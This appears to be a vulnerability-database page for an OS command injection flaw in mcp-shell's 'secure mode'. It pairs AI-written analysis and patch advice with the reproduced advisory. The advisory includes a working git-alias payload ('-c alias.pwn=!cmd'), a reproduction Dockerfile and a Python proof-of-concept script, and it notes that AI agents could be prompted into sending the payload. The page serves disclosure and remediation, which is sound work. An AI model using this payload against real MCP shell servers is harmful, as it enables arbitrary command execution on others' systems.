Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessReach mcp-shell MCP endpoint via stdio or network proxy
-
DeliverySend shell_exec tools/call with /usr/bin/git alias payload
-
ExploitValidator approves Git binary, misses ! metacharacter
-
ExecutionGit defines runtime shell alias via -c flag
-
PersistGit resolves alias subcommand, spawns sh subprocess
-
ImpactArbitrary OS commands execute as mcpuser (UID 1000)
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires MCP connectivity to a mcp-shell instance where (1) secure mode is enabled with /usr/bin/git present in the allowed_executables list in security.yaml - this is the exact default Docker configuration at commit c30862f - and (2) the server is running a pre-0.6.0 binary. The CVSS PR:N vector confirms no authentication credentials are needed beyond the ability to send MCP JSON-RPC requests; the MCP shell_exec tool itself imposes no additional auth layer. Exploitation is limited to the mcpuser process account (UID 1000) within the container, so host-level impact requires additional container escape conditions not present in this CVE. Non-default configurations that omit /usr/bin/git from allowed_executables are not exploitable via this specific vector, though the underlying '!' metacharacter gap persists and may be reachable through other alias-capable binaries if allowlisted. |
| Impact | The official CVSS 8.4 vector (AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) uses AV:L because mcp-shell's primary interface is stdin/stdout. However, the advisory explicitly identifies MCP bridge/proxy deployments that expose the tool over a network, which would elevate the effective attack vector to AV:N in those configurations - meaning the AV:L designation may materially understate real-world risk for any deployment fronted by an MCP proxy. AC:L and PR:N are well-grounded: exploitation requires no special conditions and no credentials beyond MCP connectivity. No EPSS score was provided, and no CISA KEV listing exists, so exploitation breadth cannot be quantified from available signals. The presence of a detailed, working PoC in the GHSA advisory lowers the exploitation bar significantly. The CVSS signals and PoC together suggest this warrants urgent remediation for any operator using the default Docker image, regardless of whether the MCP endpoint is directly reachable or mediated by a proxy. The scope of impact (C:H/I:H/A:H) is container-scoped in the default deployment, which limits blast radius but does not eliminate it - a compromised mcpuser process can pivot if the container has overly permissive mounts or capabilities. |
| Exploit ScenarioDerived | An attacker with MCP connectivity - whether via direct stdin/stdout access or through an MCP bridge proxy - sends a tools/call JSON-RPC request targeting the shell_exec tool with command set to '/usr/bin/git -c alias.pwn=!<arbitrary-command> pwn <arguments>'. The validator passes all checks (/usr/bin/git is allowlisted, '!' is not in the blocked metacharacter set), the executor calls exec.CommandContext with Git and the raw arguments, Git defines the shell alias at runtime, and resolves the 'pwn' subcommand by spawning 'sh -c <arbitrary-command>', executing attacker-chosen OS commands as mcpuser (UID 1000). A complete working PoC (poc.py) is published in the GHSA advisory and demonstrates file creation in the container's /tmp directory via a Docker volume mount. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 25, 2026
OS command injection in mcp-shell's 'secure mode' allows any MCP client to execute arbitrary shell commands by exploiting Git's runtime alias mechanism. The security validator in security.go blocks common shell metacharacters but omits '!', the prefix Git uses to invoke shell aliases via '-c alias.NAME=!CMD'. Because /usr/bin/git is in the default allowed_executables list and the CVSS PR:N vector confirms no authentication is required, all default Docker deployments (mcpuser, UID 1000, Git pre-installed) are exploitable by any entity with MCP connectivity. A fully functional PoC is published in the GHSA advisory; no CISA KEV listing is present at time of analysis.
RemediationAI
The vendor-released patch is mcp-shell v0.6.0, available at https://github.com/sonirico/mcp-shell/releases/tag/v0.6.0, incorporating commit f31377fce6ec31114e5a4398c0e5270552bce09f and PR #16 (https://github.com/sonirico/mcp-shell/pull/16). The fix introduces newDefaultSecurityConfig(), which removes all interpreter-capable or alias-capable tools (including git) from the built-in default allowlist, restricts defaults to read-only utilities (ls, cat, grep, find, head, tail, etc.), and adds MCP_SHELL_ALLOW_UNSAFE=true as an explicit opt-in for unrestricted mode. If immediate upgrade is not possible, the primary compensating control is removing /usr/bin/git (and any other interpreter or alias-capable binary) from the allowed_executables list in security.yaml - this eliminates the specific bypass vector at the cost of losing Git functionality for MCP clients. A secondary control is restricting MCP connectivity to trusted clients only via network policy or MCP proxy authentication, reducing the population of potential attackers. Neither compensating control is a complete fix: the metacharacter blocklist will remain incomplete until upgraded.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
mcp-shell is a Go-based MCP (Model Context Protocol) server that exposes a shell_exec tool, allowing MCP clients such as AI agents to invoke OS commands. Its 'secure mode' uses an allowlist of executable paths defined in security.yaml and a metacharacter validator in security.go (containsShellMetacharacters at line 136, containsDangerousShellConstructs at lines 147-149). The root cause (CWE-78: OS Command Injection) is that the blocked metacharacter set covers '|&;<>(){}[]$`\' but omits '!'. Git interprets '-c alias.NAME=!CMD' as a runtime configuration entry that defines a shell alias; when the alias name is used as a subcommand, Git spawns 'sh -c CMD', bypassing the executor's direct exec.CommandContext call. The affected package is pkg:go/github.com/sonirico/mcp-shell, versions prior to 0.6.0. The executor (executor.go:149-163,199) uses exec.CommandContext with the Git binary and raw attacker-controlled arguments, making the injection completely transparent to the OS-level process isolation.
Know when Docker gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AV:N reflects realistic MCP proxy/bridge deployments; PR:N confirmed by default config requiring no credentials beyond MCP connectivity.
Primary rating from Vendor (https://github.com/sonirico/mcp-shell).
CVSS VectorVendor: https://github.com/sonirico/mcp-shell
DescriptionCVE.org
Summary
mcp-shell's "secure mode" is designed to restrict command execution to an allowlist of executables defined in security.yaml. The default configuration includes /usr/bin/git. The security validator in security.go blocks common shell metacharacters (|&;<>(){}[]$\) but omits !, which is the prefix Git uses to execute shell aliases (alias.NAME=!CMD). An attacker who can invoke the shell_exec MCP tool can pass /usr/bin/git -c alias.pwn=!<arbitrary-command> as the command argument, bypassing all validation and achieving arbitrary OS command execution as the mcp-shell process user. The default Docker image runs as mcpuser` (UID 1000) with Git installed and secure mode enabled, making this exploitable in the default deployment with no authentication required.
Details
The vulnerability is a classic OS Command Injection (CWE-78) in the shell_exec MCP tool handler. The data flow from attacker input to shell execution is:
main.go:89-91- The MCP tool schema exposes a required string parametercommandwith no server-side type constraints.main.go:102-shell_execis bound toshellHandler.handle.handler.go:34- The handler reads the attacker-controlled value:command, err := request.RequireString("command").handler.go:49- The command string is passed toh.validator.validateCommand(command).security.go:136-containsShellMetacharacterschecks for|&;<>(){}[]$\but!` is absent from the blocked set.security.go:147-149-containsDangerousShellConstructsalso does not include!.security.go:85-96-/usr/bin/gitmatchesAllowedExecutables; no per-argument policy exists for Git. Theblocked_patternslist insecurity.yaml:35is empty ([]).handler.go:59- The fully validated (but unsafe) command is forwarded toh.executor.execute.executor.go:149-163-parseCommandsplits the string withstrings.Fields;exec.CommandContext(ctx, executable, args...)is called withexecutable="/usr/bin/git"andargs=["-c", "alias.pwn=!touch", "pwn", "/tmp/target"].executor.go:199-cmd.Run()launchesgit. Git interprets-c alias.pwn=!touchas a runtime configuration entry, defining the aliaspwnas the shell commandtouch. When Git resolves the subcommandpwn, it triggers the shell alias:sh -c 'touch "$@"' _ /tmp/target, creating the file.
The root cause is the missing ! in the metacharacter blocklist and the absence of any per-executable argument policy that would prevent Git's -c alias.*=! pattern.
Incriminated source locations:
security.go:136- metacharacter set missing!security.go:147-149-containsDangerousShellConstructsmissing!security.yaml:27-/usr/bin/gitinallowed_executablessecurity.yaml:35-blocked_patterns: []executor.go:149-163,199- directexec.CommandContextinvocation with unsanitized Git arguments
PoC
Prerequisites:
- Docker installed and the
mcp-shell-vuln-001image built from the providedDockerfile(repo root as build context, commitc30862f). - Python 3 to run
poc.py.
Build the Docker image:
docker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 .Run the PoC:
python3 vuln-001/poc.pyThe script performs the full MCP JSON-RPC handshake over stdin and sends the following tools/call request:
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "shell_exec",
"arguments": {
"command": "/usr/bin/git -c alias.pwn=!touch pwn /tmp/mcp-shell-mcp-poc",
"base64": false
}
}
}The container's /tmp is bind-mounted to a host temporary directory so the evidence file can be observed on the host without docker exec.
Expected result:
- MCP response:
{"status":"success","exit_code":0,"execution_time":"~3ms","security_info":{"security_enabled":true,...}} - Evidence file created at
<host_tmp>/mcp-shell-mcp-pocwithuid=1000(mcpuser), confirming arbitrary shell command execution inside the container.
Validation bypass explanation:
| Check | Value tested | Result |
|---|---|---|
containsShellMetacharacters | alias.pwn=!touch | false - ! not in blocklist |
containsDangerousShellConstructs | alias.pwn=!touch | false - ! not in blocklist |
matchesExecutable | /usr/bin/git | true - in AllowedExecutables |
All checks pass; git receives alias.pwn=!touch as a config entry and executes touch as a shell alias.
Impact
This is an OS Command Injection vulnerability (CWE-78). Any entity that can issue an MCP tools/call request to a mcp-shell instance running with the default Docker configuration can execute arbitrary OS commands as the mcpuser process account (UID 1000) inside the container.
The default Docker deployment sets MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml, installs git, and runs as mcpuser. The shell_exec tool requires no additional authentication beyond MCP connectivity. "Secure mode" is explicitly marketed as the mechanism preventing command injection; this bypass nullifies that protection entirely.
Impacted parties:
- Users and operators who deploy the default
mcp-shellDocker image and expose it to MCP clients (directly via stdio, or via an MCP bridge/proxy over the network). - AI agent systems that integrate
mcp-shellas a tool provider, where a compromised or malicious LLM prompt could supply the exploit payload as thecommandargument.
Reproduction artifacts
Dockerfile
# VULN-001: Secure Mode Allowlist Bypass via Git Shell Alias
# CWE-78: OS Command Injection
#
# This Dockerfile reproduces the exact default Docker deployment environment of
# sonirico/mcp-shell at commit c30862f that is affected by VULN-001.
#
# Vulnerability summary:
# - security.yaml allows /usr/bin/git in allowed_executables
# - The security validator (security.go) does not block '!' in arguments
# - Git's '-c alias.NAME=!CMD' syntax executes CMD as a shell command
# - This bypasses "secure mode" and achieves arbitrary command execution
#
# Build context must be the repo parent directory:
# docker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 .
# Stage 1: Build the mcp-shell binary from the vulnerable source
FROM golang:1.25-alpine AS builder
RUN apk add --no-cache git ca-certificates
WORKDIR /src
# Download dependencies before copying source for better layer caching
COPY repo/go.mod repo/go.sum ./
RUN go mod download
# Copy and build the vulnerable source
COPY repo/*.go ./
RUN CGO_ENABLED=0 GOOS=linux go build \
-ldflags "-s -w" \
-o mcp-shell .
# Stage 2: Runtime environment matching the default mcp-shell Docker image
FROM alpine:3.22
# Install git - this is what the default Dockerfile does (apk add git),
# and it is what makes the exploit possible: /usr/bin/git is present and
# the security config allows it.
RUN apk add --no-cache bash git
# Create non-root user matching the default Docker image
RUN addgroup -g 1000 mcpuser && \
adduser -D -s /bin/bash -u 1000 -G mcpuser mcpuser
# Install the mcp-shell binary
COPY --from=builder /src/mcp-shell /usr/local/bin/mcp-shell
# Install the default (vulnerable) security configuration.
# Key properties that enable the exploit:
# allowed_executables includes /usr/bin/git
# blocked_patterns is empty
# security.go does not list '!' in blocked metacharacters
COPY repo/security.yaml /etc/mcp-shell/security.yaml
# Replicate the default environment variables from the repo Dockerfile
ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml
ENV MCP_SHELL_LOG_FORMAT=json
ENV PATH="/usr/local/bin:${PATH}"
USER mcpuser
WORKDIR /home/mcpuser
# mcp-shell reads JSON-RPC over stdin and writes responses to stdout
ENTRYPOINT ["mcp-shell"]poc.py
#!/usr/bin/env python3
"""
Proof-of-Concept for VULN-001: Secure Mode Allowlist Bypass via Git Shell Alias
Repository: sonirico/mcp-shell (commit c30862f)
CWE-78: OS Command Injection
Vulnerability:
mcp-shell "secure mode" uses security.yaml to allowlist executables.
The default config allows /usr/bin/git. The security validator in
security.go checks for metacharacters (|&;<>(){}[]$`\\) but does NOT
include '!' in the blocked set. Git's -c flag accepts runtime config
overrides; setting 'alias.NAME=!CMD' defines a shell alias that runs
CMD as a shell command when 'NAME' is used as a git subcommand.
Exploit payload (MCP tools/call -> shell_exec argument):
/usr/bin/git -c alias.pwn=!touch pwn /tmp/mcp-shell-mcp-poc
Validation path (all checks pass):
containsShellMetacharacters("alias.pwn=!touch") -> False (! not in set)
containsDangerousShellConstructs("alias.pwn=!touch") -> False (! not in set)
matchesExecutable("/usr/bin/git", "/usr/bin/git") -> True
Execution path:
exec.CommandContext(ctx, "/usr/bin/git",
"-c", "alias.pwn=!touch", "pwn", "/tmp/mcp-shell-mcp-poc")
-> git defines alias pwn = !touch
-> git runs subcommand "pwn" -> triggers shell alias
-> sh -c 'touch "$@"' _ /tmp/mcp-shell-mcp-poc
-> file /tmp/mcp-shell-mcp-poc is created
Evidence method:
The container's /tmp is bind-mounted to a host temporary directory.
After the MCP call, verify the evidence file exists on the host.
Usage:
# From the repo parent directory:
docker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 .
python3 vuln-001/poc.py
"""
import json
import os
import subprocess
import sys
import tempfile
import stat
IMAGE_NAME = "mcp-shell-vuln-001"
EVIDENCE_FILENAME = "mcp-shell-mcp-poc"
EXPLOIT_TARGET = f"/tmp/{EVIDENCE_FILENAME}"
# MCP JSON-RPC protocol requires:
# 1. initialize handshake (client -> server)
# 2. notifications/initialized acknowledgement
# 3. tools/call with the exploit payload
MCP_INITIALIZE = json.dumps({
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {"name": "vuln-001-poc", "version": "1.0.0"},
},
})
MCP_INITIALIZED = json.dumps({
"jsonrpc": "2.0",
"method": "notifications/initialized",
})
# The malicious command:
# /usr/bin/git - allowed by security.yaml AllowedExecutables
# -c alias.pwn=!touch - git runtime config; ! prefix = shell alias
# NOT blocked: '!' absent from security.go metachars
# pwn - triggers the alias (git subcommand lookup)
# /tmp/<file> - argument forwarded to touch by git shell alias
MCP_EXPLOIT = json.dumps({
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "shell_exec",
"arguments": {
"command": f"/usr/bin/git -c alias.pwn=!touch pwn {EXPLOIT_TARGET}",
"base64": False,
},
},
})
def run(args, **kwargs):
print(f"[*] {' '.join(str(a) for a in args)}")
return subprocess.run(args, **kwargs)
def parse_mcp_response(stdout_text):
"""Parse newline-delimited JSON-RPC responses, return the tools/call result."""
for line in stdout_text.splitlines():
line = line.strip()
if not line:
continue
try:
msg = json.loads(line)
if msg.get("id") == 2:
return msg
except json.JSONDecodeError:
pass
return None
def main():
print("=" * 62)
print("VULN-001 PoC - mcp-shell Secure Mode Bypass via Git Alias")
print("=" * 62)
print()
# Create a host-side temporary directory that will be bind-mounted
# as /tmp inside the container. This lets us observe file creation
# caused by the git shell alias without needing 'docker exec'.
host_tmp = tempfile.mkdtemp(prefix="mcp-vuln001-")
# Allow UID 1000 (mcpuser inside the container) to write files here.
os.chmod(host_tmp, 0o1777)
evidence_host_path = os.path.join(host_tmp, EVIDENCE_FILENAME)
print(f"[*] Host bind-mount (-> /tmp inside container): {host_tmp}")
print(f"[*] Expected evidence file on host: {evidence_host_path}")
print()
print(f"[*] Exploit command (shell_exec argument):")
print(f" /usr/bin/git -c alias.pwn=!touch pwn {EXPLOIT_TARGET}")
print()
# Build the newline-delimited JSON-RPC payload sent over stdin.
# mcp-shell reads one JSON object per line.
payload_bytes = (
MCP_INITIALIZE + "\n" +
MCP_INITIALIZED + "\n" +
MCP_EXPLOIT + "\n"
).encode()
print("[*] Sending MCP JSON-RPC payload to container via stdin ...")
try:
proc = run(
[
"docker", "run",
"--rm",
# Remove container on exit
"-i",
# Keep stdin open for piped input
"--network=none",
# No external network access (safety)
"-v", f"{host_tmp}:/tmp",
# Expose container's /tmp on host
IMAGE_NAME,
],
input=payload_bytes,
capture_output=True,
timeout=40,
)
except subprocess.TimeoutExpired:
print("[FAIL] docker run timed out after 40 seconds")
sys.exit(1)
except FileNotFoundError:
print("[FAIL] 'docker' not found - install Docker to run this PoC")
sys.exit(1)
stdout = proc.stdout.decode(errors="replace")
stderr = proc.stderr.decode(errors="replace")
print()
print("[*] Container stdout (MCP responses):")
for line in stdout.splitlines():
print(f" {line}")
if stderr.strip():
print("[*] Container stderr:")
for line in stderr.splitlines():
print(f" {line}")
print()
# Locate and pretty-print the tools/call MCP response.
exploit_response = parse_mcp_response(stdout)
if exploit_response:
print("[*] MCP tools/call response (id=2):")
print(json.dumps(exploit_response, indent=4))
print()
# --- Primary evidence check ---
if os.path.exists(evidence_host_path):
st = os.stat(evidence_host_path)
print(f"[PASS] Evidence file found on host: {evidence_host_path}")
print(f" size={st.st_size} mode={oct(st.st_mode)} uid={st.st_uid}")
print()
print("[PASS] EXPLOIT SUCCESSFUL")
print(" 'touch /tmp/mcp-shell-mcp-poc' was executed INSIDE the container")
print(" by the git shell alias, bypassing mcp-shell secure mode.")
passed = True
evidence = (
f"File '{evidence_host_path}' created on host via /tmp volume mount. "
f"size={st.st_size} uid={st.st_uid} mode={oct(st.st_mode)}. "
f"MCP response: {json.dumps(exploit_response) if exploit_response else 'n/a'}"
)
else:
print(f"[FAIL] Evidence file NOT found at: {evidence_host_path}")
print("[FAIL] EXPLOIT FAILED")
if exploit_response:
result_content = exploit_response.get("result", {})
print(f" MCP result: {json.dumps(result_content)}")
passed = False
evidence = (
f"Evidence file was not created. "
f"stdout={stdout[:600]!r} stderr={stderr[:300]!r}"
)
print()
return passed, evidence
if __name__ == "__main__":
passed, evidence = main()
sys.exit(0 if passed else 1)Articles & Coverage 2
Executive ViewAI
mcp-shell's 'secure mode' contains an OS command injection flaw (CVE-2026-55582, CVSS 8.4) that allows unauthenticated attackers to execute arbitrary shell commands on default Docker deployments. Publicly available exploit code exists for this vulnerability. Successful exploitation enables unauthorized access, data theft, and lateral movement, affecting organizations with default mcp-shell configurations and MCP client connectivity.
Apply vendor patch. Interim mitigations during patch deployment: restrict /usr/bin/git from allowed_executables configuration, disable Git alias functionality, or implement network-level access controls limiting MCP connectivity to authenticated clients only.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
EUVD-2026-65548
GHSA-74hp-mggr-hv58
NVD
CVE.org
EPSS
Exploit-DB